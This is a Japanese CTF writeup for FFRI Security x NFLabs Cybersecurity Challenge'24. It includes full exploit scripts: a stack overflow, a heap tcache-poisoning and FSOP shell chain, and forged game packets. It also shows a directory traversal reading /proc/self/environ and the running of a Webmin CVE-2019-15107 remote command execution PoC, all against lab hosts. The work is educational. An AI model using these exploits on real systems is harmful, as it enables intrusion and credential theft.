以下の内容はhttps://iwashi-ra.hatenablog.com/entry/2024/10/06/222622より取得しました。


FFRI Security x NFLabs. Cybersecurity Challenge'24 Writeup

はじめに

FFRI Security x NFLabs. Cybersecurity Challenge'24に参加しました。結果は3位でした。開催期間が3日以上と長く、早解きが苦手でも十分多くの問題に取り組むことができました。今回は解くことができた順にWriteupを書いていこうと思います。

solveの時系列は以下の通りです。1日目と3, 4日目に主に取り組んでいました。4日目もそこそこ挑んではいたのですが、solveには繋がらなかったです。

solve

[Easy] io tutorial (Binary Exploitation) 12 solves

2時間ちょい遅れで、ctfに参戦。とりあえず、pwnから解いていくことに。

#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *MESSAGES[] = {
    "! ! ! ! welcome ! ! ! !\n",
    "8 8 8 8 welcome 8 8 8 8\n",
    "WELCOME WELCOME WELCOME\n",
};

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

void win() {
  puts("WIN!!");
  execve("/bin/sh", NULL, NULL);
  exit(0);
}

void readn(char *buf, size_t size) {
  for (int i = 0; i < size; i++) {
    read(0, buf + i, 1);
    if (buf[i] == '\n') {
      buf[i] = '\0';
      return;
    }
  }

  // drop trailing '\n'
  getchar();
}

int readint() {
  // read only 2 chars, so returns -9 to 99 I guess!
  char buf[0x10];
  readn(buf, 2);
  return atoi(buf);
}

void greet() {
  char message[25];

  printf("greeting message? (1 ~ 3) > ");
  int which = readint();
  if (which < 1 || which > 3) {
    printf("invalid!");
    exit(1);
  }

  strncpy(message, MESSAGES[which - 1], strlen(MESSAGES[which - 1]) + 1);
  printf("%s", message);
}

int main() {
  greet();

  printf("input size > ");
  int size = readint();

  // readint may returns negative number.
  if (size < 0) {
    size = 0;
  }

  // size is 99 at most, but to be safe,
  // the buffer size is set to 0x100 (== 256).
  // it can't be overflow!
  char input[0x100];

  printf("input > ");
  read(0, input, size);
  printf("your input: %s\n", input);

  return 0;
}

greet()で選んだmessage文字列を表示し、その後readint()で入力したサイズ分をbufferに入力して出力するプログラムです。

readint()での入力は2byteに制限されているが、NULL終端されていません。

messageの文字列のバッファとmain関数でcallするreadint()のバッファが被っており、0埋めもされないので、"8 8 8 8 welcome 8 8 8 8\n"の8を使えばreadint()に0x100より大きい値を返させることが可能です。

あとは、stack based BOFでwin関数を呼べば終わり。messageの文字列を複数用意している部分で、偶然では解けないようにという作問者の意図を感じました。

from ptrlib import *

elf = ELF('./io-tutorial')

#io = Process('./io-tutorial')
io = remote('10.0.102.92', 1234)

io.sendline('2')
io.sendline('99')
io.sendline(100 * p64(elf.symbol('win')))

io.interactive()

[Hard] brownian heap (Binary Exploitation) 4 solves

MediumのCupで少し詰まってしまったので、こちらを解くことに。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

#define N 10000

void brownian_heap() {
    unsigned char buf[N];
    char *p[N] = {0};
    uint32_t nof_deletes = 0;
    uint32_t delete_idx[2 * N] = {0};
    FILE *fp = fopen("/dev/urandom", "r");
    if (!fp) exit(1);
    if (1 > fread(&nof_deletes, sizeof(uint32_t), 1, fp)) exit(2);

    nof_deletes = ((nof_deletes % N) + (N / 100));
    if (nof_deletes > fread(delete_idx, sizeof(uint32_t), nof_deletes, fp)) exit(2);
    if (N > fread(buf, sizeof(char), N, fp)) exit(2);
    fclose(fp);
    size_t x = 0;

    for (size_t i = 0; i < N; i++) {
        if (buf[i]) {
            size_t size = (((size_t) buf[i]) + 1) << 1;
            p[x++] = malloc(size);
            if (!p[x - 1]) continue;
            memset(p[x - 1], 0xff, size);
        }
    }
    for (uint32_t i = 0; i < nof_deletes; i++) {
        uint32_t idx = delete_idx[i] % N;
        free(p[idx]);
        p[idx] = NULL;
    }
    for (size_t i = 0; i < N; i++) {
        buf[i] = 0;
        p[i] = NULL;
    }
    for (size_t i = 0; i < nof_deletes; i++) {
        delete_idx[i] = 0;
    }
    nof_deletes = 0;
}

void aar(const char *p) {
    int32_t offset = 0;
    if (!p) {
        printf("Error!\n");
        return;
    }
    printf("Offset: ");
    scanf("%x", &offset);
    printf("Value: %zx\n", *(size_t *) (p + offset));
}

void aaw(const char *p) {
    int32_t offset = 0;
    if (!p) {
        printf("Error!\n");
        return;
    }
    printf("Offset: ");
    scanf("%x", &offset);
    printf("Data: ");
    scanf("%zx", (size_t *) (p + offset));
}

int main(void) {
    alarm(120);
    int cmd = 0;
    int i = 6000;
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    brownian_heap();

    char *p = (char *) malloc(1);
    char *p1 = NULL;
    printf("p=%p\n", p);

    while (i--) {
        printf("cmd: ");
        scanf("%d", &cmd);
        switch (cmd) {
            case 0:
                goto BYE;
            case 1:
                aar(p);
                break;
            case 2:
                aaw(p);
                break;
            case 3:
                if (p1) {
                    printf("free!\n");
                    free(p1);
                    p1 = NULL;
                } else {
                    printf("Error!\n");
                }
                break;
            case 4:
                if (!p1) {
                    printf("malloc!\n");
                    p1 = (char *) malloc(1);
                } else {
                    printf("Error!\n");
                }
                break;
            case 5:
                aar(p1);
                break;
            case 6:
                aaw(p1);
                break;
            default:
                printf("Invalid command\n");
                break;
        }
    }
    BYE:
    printf("Bye!\n");
    free(p);
    if (p1) free(p1);
    return 0;
}

malloc(1)で確保するpとp1を起点としてintの範囲でaarとaawができるという問題設定です。ただし、brownian_heap関数で、heapの状態がrandomにfreeされていて、pとp1の取られる場所が固定ではありません。

pのアドレスは実行時に教えてくれます。また、pとp1は同じサイズのchunkであり、確保されるときにchunkの初期化を行わないので、aar(p)のoffset 0を指定すると、p1の確保されたアドレスを特定できます。

pとp1のアドレスが手に入り、aarとaawも渡されている、ということでheap feng shuiの始まりです。

まずはlibc address leakをする必要があります。p1のsizeをfake sizeに書き換えた後に、p1をfreeしてunsorted binsに繋げ、pからのaarでunsorted binsのbkからlibcのアドレスを読み出せば良いです。fake sizeは、p1からのaarでsizeのメタデータを探すことで都合の良い値を特定できます。

また、あらかじめaar(p1)のoffset 0で現在のtcache binsの先頭にあるアドレスを読み出しておけば、次にmallocするp1のアドレスを知ることができます。

#!/usr/bin/env python3
from ptrlib import *

elf = ELF('./brown')
libc = ELF('./libc.so.6')
#libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

io = Process('./brown')
#io.debug = True
#io = remote('10.0.102.232', 1827)
p_addr = int(io.recvline()[2:], 16)
print("[+] heap addr = " + hex(p_addr))

def bye():
    io.sendlineafter(": ", '0')
    return

def aar_p(off):
    io.sendlineafter(": ", '1')
    io.sendlineafter(": ", hex(off))
    return int(b"0x" + io.recvline()[7:], 16)

def aaw_p(off, data):
    io.sendlineafter(": ", '2')
    io.sendlineafter(": ", hex(off))
    io.sendlineafter(": ", hex(data))
    return

def free_p1():
    io.sendlineafter(": ", '3')
    return

def malloc_p1():
    io.sendlineafter(": ", '4')
    return

def aar_p1(off):
    io.sendlineafter(": ", '5')
    io.sendlineafter(": ", hex(off))
    return int(b"0x" + io.recvline()[7:], 16)

def aaw_p1(off, data):
    io.sendlineafter(": ", '6')
    io.sendlineafter(": ", hex(off))
    io.sendlineafter(": ", hex(data))
    return


p1_addr = aar_p(0) ^ (p_addr >> 12)
print("[+] p1 addr = " + hex(p1_addr))
print("[+] p1 size = " + hex(aar_p(p1_addr-p_addr-8)))
malloc_p1()
free_p1()
malloc_p1()
assert(aar_p(p1_addr-p_addr) == (aar_p1(0)))
next_p1 = aar_p1(0) ^ (p1_addr >> 12)
meta_off = 0
for i in range(0x420//16, 0x800//16):
    val = aar_p1(i * 16 + 8)
    if (val < 0x1000 and val & 1):
        meta_off = i * 16 + 8
        break
fake_size = meta_off + 8
aaw_p(p1_addr-p_addr-8, fake_size+1)
print(hex(aar_p(p1_addr-p_addr-8)))
free_p1()
#input("> ")
unsorted_bk = aar_p(p1_addr-p_addr+8)
libc.base = unsorted_bk - 0x203b20# /usr/lib/x86_64-linux-gnu/libc.so.6
print("[+] libc addr = " + hex(libc.base))

libcのアドレスがleakできました。次は、libcの領域にchunkを確保することを考えます。これは、tcache poisoningで実現できます。

具体的には、まず、p1をmallocしてfreeします。p1のアドレスが分かっているので、pからのaawを使ってfreeした領域のtcacheのnextを書き換えた後に、もう一度mallocをすれば任意のアドレスにchunkを確保できます。今回は、FSOPのために、_IO_2_1_stderr_の上の領域に確保しました。

後は、p1のaawでFSOPをするだけです。といっても解くのにかかった時間の大半はここに費やしています。というのも、今回のサーバー側のlibcが2.39だったので、libc2.35との微妙な違いのせいで、使いまわしていたFSOPのpayloadが刺さらなかったのです。

libc 2.39は_IO_2_1_stdin_だけなぜか_IO_2_1_stderr_, _IO_2_1_stdout_とは少し離れたメモリ領域にマップされていたりと、libc 2.35との不思議な違いがありますが、特にFile構造体の0x88のエントリの扱いが変わっていました。

ここでは、原因に深く立ち入ることはしません。(実際CTF中は、原因について間違った理解をしていました)

ただ、Exploitの上で重要なことは、0x88にもvalidなアドレスを書き込んでおくことです。_IO_2_1_stderr_を書き換えた後は、tcache poisoningで確保したchunkがfreeされる際にSIGSEGVが起きないよう、sizeなどのmetaデータを書き換えてからexitすれば、シェルを取れます。

#!/usr/bin/env python3
from ptrlib import *

elf = ELF('./brown')
libc = ELF('./libc.so.6')
#libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

io = Process('./brown')
#io.debug = True
#io = remote('10.0.102.232', 1827)
p_addr = int(io.recvline()[2:], 16)
print("[+] heap addr = " + hex(p_addr))

def bye():
    io.sendlineafter(": ", '0')
    return

def aar_p(off):
    io.sendlineafter(": ", '1')
    io.sendlineafter(": ", hex(off))
    return int(b"0x" + io.recvline()[7:], 16)

def aaw_p(off, data):
    io.sendlineafter(": ", '2')
    io.sendlineafter(": ", hex(off))
    io.sendlineafter(": ", hex(data))
    return

def free_p1():
    io.sendlineafter(": ", '3')
    return

def malloc_p1():
    io.sendlineafter(": ", '4')
    return

def aar_p1(off):
    io.sendlineafter(": ", '5')
    io.sendlineafter(": ", hex(off))
    return int(b"0x" + io.recvline()[7:], 16)

def aaw_p1(off, data):
    io.sendlineafter(": ", '6')
    io.sendlineafter(": ", hex(off))
    io.sendlineafter(": ", hex(data))
    return


p1_addr = aar_p(0) ^ (p_addr >> 12)
print("[+] p1 addr = " + hex(p1_addr))
print("[+] p1 size = " + hex(aar_p(p1_addr-p_addr-8)))
malloc_p1()
free_p1()
malloc_p1()
assert(aar_p(p1_addr-p_addr) == (aar_p1(0)))
next_p1 = aar_p1(0) ^ (p1_addr >> 12)
meta_off = 0
for i in range(0x420//16, 0x800//16):
    val = aar_p1(i * 16 + 8)
    if (val < 0x1000 and val & 1):
        meta_off = i * 16 + 8
        break
fake_size = meta_off + 8
aaw_p(p1_addr-p_addr-8, fake_size+1)
free_p1()
unsorted_bk = aar_p(p1_addr-p_addr+8)
libc.base = unsorted_bk - 0x203b20# /usr/lib/x86_64-linux-gnu/libc.so.6
print("[+] libc addr = " + hex(libc.base))
malloc_p1()
assert(aar_p(next_p1-p_addr) == (aar_p1(0)))
p1_addr = next_p1
print("[+] p1 addr = " + hex(p1_addr))
print("[+] p1 size = " + hex(aar_p(p1_addr-p_addr-8)))
free_p1()
# tcache poisoning
aaw_p(p1_addr-p_addr, (libc.symbol('_IO_2_1_stderr_') - 0x30) ^ (p1_addr >> 12))
malloc_p1()
meta_off = 0
for i in range(0x420//16, 0x800//16):
    val = aar_p1(i * 16 + 8)
    if (val < 0x1000 and val & 1):
        meta_off = i * 16 + 8
        break
fake_size = meta_off + 8
aaw_p(p1_addr-p_addr-8, fake_size+1)
free_p1()
#input("> ")
malloc_p1() # return libc region chunk
#io.debug = True
assert(aar_p1(0x30) == 0xfbad2087)
payload  = p32(0xfbad0101) + b";sh\0"
payload += p64(0) * 10
payload += p64(libc.symbol("system"))
payload += p64(0) * 5
payload += p64(libc.base - 0x205710 + 0x40ae20)
payload += p64(0) * 2
payload += p64(libc.symbol("_IO_2_1_stderr_") - 0x10)
payload += p64(0) * 3
payload += p32(1) + p32(0) + p64(0)
payload += p64(libc.symbol("_IO_2_1_stderr_") - 0x10)
payload += p64(libc.symbol('_IO_wfile_jumps') + 0x18 - 0x58)

for i in range(0, len(payload) // 8):
    aaw_p1(0x30 + i*8, u64(payload[i*8:i*8+8]))

aaw_p1(0x28, 0x31)
aaw_p1(-0x8, 0x21)
bye()

io.interactive()

[Easy] Path to Secret (Web Exploitation) 25 solves

registerし、loginすると、ファイルをダウンロードできるようになります。

ダウンロードリンクはhttp://10.0.102.137:8092/download?file=aaa.txtのような形。

サーバのファイル名はserver.pyと問題文で共有されており、結構solve数も出ていたので、ディレクトリトラバーサルでファイルをダウンロードできるんじゃないかなと予想し、その通りでした。http://10.0.102.137:8092/download?file=../server.pyでダウンロードできます。

app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY")

以上のようなSECRET_KEYにFlagがあるとのことなので、/proc/self/environからFlagを含んだファイルをダウンロードすれば良いです。

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=126fa7d94e06DATABASE_URI=mysql://root:password@mysql-server/dataSECRET_KEY=flag{992daabd454669829130c2ca679748c8}LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.9PYTHON_PIP_VERSION=24.0PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/66d8a0f637083e2c3ddffc0cb1e65ce126afb856/public/get-pip.pyPYTHON_GET_PIP_SHA256=6fb7b781206356f45ad79efbb19322caa6c2a5ad39092d0d44d0fec94117e118HOME=/rootWERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true%

[Medium] Cup (Binary Exploitation) 5 solves

ゲームのクライアントのバイナリのみが渡されます。

name, IP, portを指定すると部屋を作成でき、passwordを設定していないと、FFRAIユーザーが対戦に参加してくるので、勝てば相手の敗北メッセージにFLAGが含まれているらしい。

n * nのサイズのボードにあるドリンクを交互に毎ターン最大n-1個まで飲み干していき、ちょうど全て飲み干せたプレーヤーが勝利というゲームです。以下は、3のboardサイズを指定した時の盤面。Fが飲み干す前、Nが飲み干した後です。

board

ルームを作成した側が、必ず先攻になるので、真面目に戦うと必ず負けます。毎回サーバー接続から飲み干す際の入力までをクライアントバイナリ経由で行うのは面倒なので、パケットをキャプチャしてimitateした通信をpythonから送れるようにします。

pcap

ざっくり、行われている通信を説明します。

  1. ボードサイズ、ユーザー名、パスワードを送信 -> 相手の情報を受け取る
  2. 飲み干す個数、座標を送り合う (末尾にはPを付加し、相手からの入力を受け取った際にも\x00Pを送る)
  3. ゲームが終了したと判定したら、相互にQを送信しあう
  4. winメッセージ、loseメッセージを送り合い終了
#!/usr/bin/env python3
from ptrlib import *

io = remote('10.0.102.91', 1440)
io.debug = True
io.send(b"\x03\x00\x00\x00") # board num
io.send(b"AAAAAAAA" + p64(0) + p8(0) * 8 + p64(0) * 3) # user info

def pack_x_y(x, y):
    return p8(x) + p8(y)

def dec_pac_x_y(data):
    return int(data[0]), int(data[1])


payload = b""
payload += pack_x_y(0, 1) 
payload += pack_x_y(0, 2)
payload += b"P"

io.recvuntil("FFRAI")
io.send(p32(2)) # drink num
io.send(payload)
io.send(p8(0))
io.send(b"P")
io.recvuntil(b"\x02\x00\x00\x00")
x1, y1 = dec_pac_x_y(io.recv(2))
x2, y2 = dec_pac_x_y(io.recv(2))

payload = b""
payload += pack_x_y(int(input()), int(input()))
payload += b"P"
io.send(p32(1))
io.send(payload)
io.send(p8(0))
io.send(b"P")
io.recvuntil(b"\x02\x00\x00\x00")
x1, y1 = dec_pac_x_y(io.recv(2))
x2, y2 = dec_pac_x_y(io.recv(2))

io.interactive()

この問題で、かなり詰まったのですが、server側の実装がブラックボックスだったのが原因でした。しばらくの間、送った通信が完全に相手クライアントに届くものとして、脆弱性を探しExploitを組んでいたのですが、よく分からない挙動をされて困っていました。

例えば、バイナリには飲み干す個数のチェックなどはありませんでした。先攻で一気に全部飲み干せるじゃんと気づき、実際に手元バイナリに通信を与えてみると、全て飲み干し勝つことができました。しかしながら、サーバーに送ると勝手に接続を切られてしまいます。

運営にclarを投げたところ、確かにFFRAIユーザーは同様のバイナリを使っているという回答をいただき、謎だな〜と言いながら、1日目は終了しました。cupでうんうん言っている間にkeymoonさんが爆速でbinary exploitationを全完しており、他のジャンル別の賞も無理そうということで一旦ゆっくりすることに。2日目の深夜に再開した時に、サーバーがvalidな通信かチェックしてるぽいと漸く気づきます。

サーバー側の実装は分かりませんが、ルームのパスワードを設定すると、手元でもう一つ起動したクライアントバイナリから接続して、対戦をすることができます。これにより、手元から送った通信が、相手のクライアントに届く条件を確認することができます。無限に試行錯誤した結果、座標がboardのサイズを超えているかどうかはチェックをされておらず、相手クライアントにそのまま届くことがわかりました。 クライアントの座標を受け取る処理を確認します。

    sVar6 = recv(sock,&local_14c,4,0); // <- drinkする個数
    if (sVar6 != 4) {
LAB_0010232a:
      wclear(stdscr);
      pcVar11 = "Failed to recv opponent\'s input";
      goto LAB_0010233d;
    }
    if (local_14c != 0) {
      unaff_RBX = (undefined *)0x0;
      do {
        unaff_RBP = (uint *)(__ptr + (long)unaff_RBX * 2);
        sVar6 = recv(uVar5,(void *)((long)unaff_RBP + 1),1,0);
        if ((sVar6 != 1) || (sVar6 = recv(uVar5,unaff_RBP,1,0), sVar6 != 1)) goto LAB_0010232a;
        uVar9 = (int)unaff_RBX + 1;
        unaff_RBX = (undefined *)(ulong)uVar9;
      } while (uVar9 < local_14c);
      if (local_14c != 0) {
        uVar7 = 0;
        unaff_RBP = &board;
        do {
// boardを起点に座標分移動させた場所のアドレスを得る。
          pcVar11 = (char *)((ulong)((byte)(__ptr + uVar7 * 2)[1] * board +
                                    (uint)(byte)__ptr[uVar7 * 2]) + DAT_001063f8);
          unaff_RBX = __ptr;
          if (*pcVar11 == '\0') { // そのアドレスに"\0"が入っているかどうかをチェック
            local_14d = 7;
            send(sock,&local_14d,1,0);
            wclear(stdscr);
            pcVar11 = "Invalid board status";
            goto LAB_0010233d;
          }
          *pcVar11 = '\0'; // "\0"以外が入っていたら、飲み干していないということで、"\0"を格納 (飲み干す)
          uVar5 = (int)uVar7 + 1;
          uVar7 = (ulong)uVar5;
        } while (uVar5 < local_14c);
      }
    }

バイナリでは、座標がboardのサイズに含まれているかのチェックはありません。ボード外のメモリ領域で、\x00以外の値が入っている場所を指定すると、そこで飲み干し回数を消費できます。つまり、盤面上はパスをして相手に手番を渡すことができます。

gef> x/2gx &board
0x55555555a3f0 <board>:   0x0000000000000003  0x0000555555652320 <- boardのサイズと盤面のアドレス
gef> x/2gx &0x0000555555652320
Attempt to take address of value not located in memory.
gef> x/32gx 0x0000555555652320
0x555555652320: 0x0101010100010100  0x0000000000000001 <- 先頭9byteが3 * 3の盤面に対応 (0がN, 1がF)
0x555555652330: 0x0000000000000000  0x0000000000000021
0x555555652340: 0x0000000555550201  0x0000000000000000 <-ここら辺の0でない場所に対応するよう、座標を指定
0x555555652350: 0x0000000000000000  0x0000000000000021
0x555555652360: 0x000055555564a564  0x0000000000000000
0x555555652370: 0x00005555556524c0  0x00000000000000b1
0x555555652380: 0x0000555555652430  0x0000000900000000

このようにして、一手パスをした後にゲームに勝てばFlagを得られます。そのためのスクリプトを書くのは面倒なので、パスした後は、手動で座標を打ち込みました。

#!/usr/bin/env python3
from ptrlib import *

io = remote('10.0.102.91', 1440)
io.debug = True
io.send(b"\x03\x00\x00\x00") # board num
io.send(b"AAAAAAAA" + p64(0) + p8(0) * 8 + p64(0) * 3)

def pack_x_y(x, y):
    return p8(x) + p8(y)

def dec_pac_x_y(data):
    return int(data[0]), int(data[1])


payload = b""
payload += pack_x_y(8, 8)
payload += pack_x_y(8, 9)
payload += b"P"

io.recvuntil("FFRAI")
io.send(p32(2))
io.send(payload)
io.send(p8(0))
io.send(b"P")
io.recvuntil(b"\x02\x00\x00\x00")
x1, y1 = dec_pac_x_y(io.recv(2))
x2, y2 = dec_pac_x_y(io.recv(2))

payload = b""
payload += pack_x_y(int(input()), int(input()))
payload += b"P"
io.send(p32(1))
io.send(payload)
io.send(p8(0))
io.send(b"P")
io.recvuntil(b"\x02\x00\x00\x00")
x1, y1 = dec_pac_x_y(io.recv(2))
x2, y2 = dec_pac_x_y(io.recv(2))

payload = b""
payload += pack_x_y(int(input()), int(input()))
payload += b"P"
io.send(p32(1))
io.send(payload)
io.send(p8(0))
io.send(b"P")
io.recvuntil(b"\x02\x00\x00\x00")
x1, y1 = dec_pac_x_y(io.recv(2))
x2, y2 = dec_pac_x_y(io.recv(2))

payload = b""
payload += pack_x_y(int(input()), int(input()))
io.send(p32(1))
io.send(payload)
io.send(b'Q')
io.send(p8(0) * 0x100)
io.interactive()
[+] __init__: Successfully connected to 10.0.102.244:1440
[+] send: Sent 0x4 (4) bytes:
00000000  03 00 00 00                                       |....|
[+] send: Sent 0x30 (48) bytes:
00000000  41 41 41 41 41 41 41 41  00 00 00 00 00 00 00 00  |AAAAAAAA........|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
[+] recv: Received 0x1 (1) bytes:
    00000000  00                                                |.|
[+] recv: Received 0x4 (4) bytes:
    00000000  00 00 00 00                                       |....|
[+] recv: Received 0x15 (21) bytes:
    00000000  03 00 00 00 01 46 46 52  41 49 00 00 00 00 00 00  |.....FFRAI......|
    00000010  00 00 00 00 00                                    |.....|
[+] send: Sent 0x4 (4) bytes:
00000000  02 00 00 00                                       |....|
[+] send: Sent 0x5 (5) bytes:
00000000  08 08 08 09 50                                    |....P|
[+] send: Sent 0x1 (1) bytes:
00000000  00                                                |.|
[+] send: Sent 0x1 (1) bytes:
00000000  50                                                |P|
[+] recv: Received 0x1 (1) bytes:
    00000000  00                                                |.|
[+] recv: Received 0x1 (1) bytes:
    00000000  50                                                |P|
[+] recv: Received 0x9 (9) bytes:
    00000000  02 00 00 00 00 02 00 00  50                       |........P|
0
1
[+] send: Sent 0x4 (4) bytes:
00000000  01 00 00 00                                       |....|
[+] send: Sent 0x3 (3) bytes:
00000000  00 01 50                                          |..P|
[+] send: Sent 0x1 (1) bytes:
00000000  00                                                |.|
[+] send: Sent 0x1 (1) bytes:
00000000  50                                                |P|
[+] recv: Received 0x1 (1) bytes:
    00000000  00                                                |.|
[+] recv: Received 0x1 (1) bytes:
    00000000  50                                                |P|
[+] recv: Received 0x9 (9) bytes:
    00000000  02 00 00 00 02 01 02 02  50                       |........P|
2
0
[+] send: Sent 0x4 (4) bytes:
00000000  01 00 00 00                                       |....|
[+] send: Sent 0x3 (3) bytes:
00000000  02 00 50                                          |..P|
[+] send: Sent 0x1 (1) bytes:
00000000  00                                                |.|
[+] send: Sent 0x1 (1) bytes:
00000000  50                                                |P|
[+] recv: Received 0x1 (1) bytes:
    00000000  00                                                |.|
[+] recv: Received 0x1 (1) bytes:
    00000000  50                                                |P|
[+] recv: Received 0x9 (9) bytes:
    00000000  02 00 00 00 01 02 01 00  50                       |........P|
1
1
[+] send: Sent 0x4 (4) bytes:
00000000  01 00 00 00                                       |....|
[+] send: Sent 0x2 (2) bytes:
00000000  01 01                                             |..|
[+] send: Sent 0x1 (1) bytes:
00000000  51                                                |Q|
[+] send: Sent 0x100 (256) bytes:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
[ptrlib]$ P[ptrlib]$ [+] recv: Received 0x1 (1) bytes:
    00000000  00                                                |.|
\x00[ptrlib]$ [+] recv: Received 0x1 (1) bytes:
    00000000  51                                                |Q|
Q[ptrlib]$ [+] recv: Received 0x100 (256) bytes:
    00000000  66 00 00 00 6c 00 00 00  61 00 00 00 67 00 00 00  |f...l...a...g...|
    00000010  7b 00 00 00 50 00 00 00  57 00 00 00 4e 00 00 00  |{...P...W...N...|
    00000020  5f 00 00 00 74 00 00 00  6f 00 00 00 5f 00 00 00  |_...t...o..._...|
    00000030  57 00 00 00 49 00 00 00  4e 00 00 00 21 00 00 00  |W...I...N...!...|
    00000040  7d 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |}...............|
    00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

3日目の早朝に漸くsolveできました

[Easy] Swifty (Misc) 4 solves

swiftで作られた、elfバイナリらしいです。パスワードを入力すると、正誤の判定が行われます。とりあえず、straceで確認すると、ptraceで落ちるのでそれを無効化してデバッグします。

import gdb

gdb.execute('gef')
gdb.execute('b ptrace')
gdb.execute('r')
gdb.execute('fin')
gdb.execute('set $rax=0')

ptraceを実行した後に、raxの値を0にすればptraceで落とされずに実行できます。

catch syscallなどを駆使して、そのまま動的解析をしていると、$sSasSQRzlE2eeoiySbSayxG_ABtFZs5UInt8V_Tgm5という関数で比較されるバイト列がFlagぽいことが分かります。

gef> x/32gx 0x00005555555580a0
0x5555555580a0 <$s6Swifty4mainyyFTv_+8>: 0x00007ffff7cf5820 0x80000004ffffffff
0x5555555580b0 <$s6Swifty4mainyyFTv_+24>:    0x0000000000000020 0x0000000000000040
0x5555555580c0 <$s6Swifty4mainyyFTv_+40>:    0x81c82e73305cb6ea 0x84f23b66664ea8bf
0x5555555580d0 <$s6Swifty4mainyyFTv_+56>:    0x87dd6857235bb3fb 0x8ac3296e084eebd3
gef> x/32gx 0x000055555556d370
0x55555556d370:    0x00007ffff7cf5820 0x0000000000000003
0x55555556d380:    0x0000000000000020 0x0000000000000070
0x55555556d390:    0x9cc637633c56b1e7 0x9cc637633c56b1e7
0x55555556d3a0:    0x9cc637633c56b1e7 0x9cc637633c56b1e7

0x9cc637633c56b1e7"kkkkkkkk"を入力した際に出てきた文字列で、何らかの特定の値とxorされているぽいです。(swiftの何かの仕様かな?)

gef> p 0x6b6b6b6b6b6b6b6b ^ 0x9cc637633c56b1e7
$5 = 0xf7ad5c08573dda8c

この0xf7ad5c08573dda8cを比較している文字列バイト列にxorして元のFlagの文字列を確認すると、Flagが出てきます。

>>> p64(0xf7ad5c08573dda8c ^ 0x81c82e73305cb6ea)
b'flag{rev'
>>> p64(0xf7ad5c08573dda8c ^ 0x84f23b66664ea8bf)
b'3rs1ng_s'
>>> p64(0xf7ad5c08573dda8c ^ 0x87dd6857235bb3fb)
b'wift_4pp'
>>> p64(0xf7ad5c08573dda8c ^ 0x8ac3296e084eebd3)
b'_1s_fun}'

[Easy] WebAdmin (Pentest) 29 solves

いっぱいsolveが出ていたのに、手こずった問題です。とりあえず、nmapから。

$ nmap -sV 10.0.102.143
Starting Nmap 7.94 ( https://nmap.org ) at 2024-10-06 18:44 JST
Nmap scan report for 10.0.102.143
Host is up (0.017s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.09 seconds

これまで、Pentest系の問題を解いたことがなく、バージョン固有のCVEのPoCを回すイメージだったので、OpenSSH 8.2, nginx 1.18.0、Webmin 1.920の脆弱性を探していました。

opensshとnginxは特に使えそうなCVEがなく、一方でWebminはCVE-2019-15107とCVE-2019-15642が使えそうと思い、詳しく調べていました。

CVE-2019-15642はWebminにログインできている状態じゃないと使えなさそうなので、CVE-2019-15107を使うことに。しかし、PoCが全然刺さりませんでした。

まず、発見者ぽい、以下のブログのmetasploitモジュールを実行してみるも、Reverse Shellが起動されず。(一体どうして?)

https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

以下のPoCもnot vulnerableと出て刺さりませんでした。

https://github.com/ruthvikvegunta/CVE-2019-15107

しょうがないので、詳細を確認して自分でcurlしてみるも何故かうまくいかず。

PoCのリポジトリにたまーにバックドアが仕込まれているという話は何回か目にしたことがあり、適宜動かす前にPoCのコードに変なものが入っていないか全てのコードを確認していたので、1つのPoCを試すのにいちいち手間がかかりとても面倒でした。実際にpentestしている人は、これらも工数に入っているんでしょうかね。今回は、長期間のCTFだったので時間をかける余裕がありましたが、短期間のCTFのPentestでCVEを使う系の問題を出すのは危ないかもなと思いました。時間に追われて被害に遭うプレイヤーが出そうな気がします。

最終的には、以下のリポジトリのPoCが刺さりました。oldのパラメータの部分に|とコマンドを渡せば実行できるというのは同じなのに、なんで上のやつはダメだったのか不思議ですね。

https://github.com/jas502n/CVE-2019-15107

python CVE_2019_15107.py http://10.0.102.143:10000 "cat /root/root.txt"

 _______           _______       _______  _______  __     _____       __    _______  __    _______  ______
(  ____ \|\     /|(  ____ \     / ___   )(  __   )/  \   / ___ \     /  \  (  ____ \/  \  (  __   )/ ___  \
| (    \/| )   ( || (    \/     \/   )  || (  )  |\/) ) ( (   ) )    \/) ) | (    \/\/) ) | (  )  |\/   )  )
| |      | |   | || (__             /   )| | /   |  | | ( (___) |      | | | (____    | | | | /   |    /  /
| |      ( (   ) )|  __)          _/   / | (/ /) |  | |  \____  |      | | (_____ \   | | | (/ /) |   /  /
| |       \ \_/ / | (            /   _/  |   / | |  | |       ) |      | |       ) )  | | |   / | |  /  /
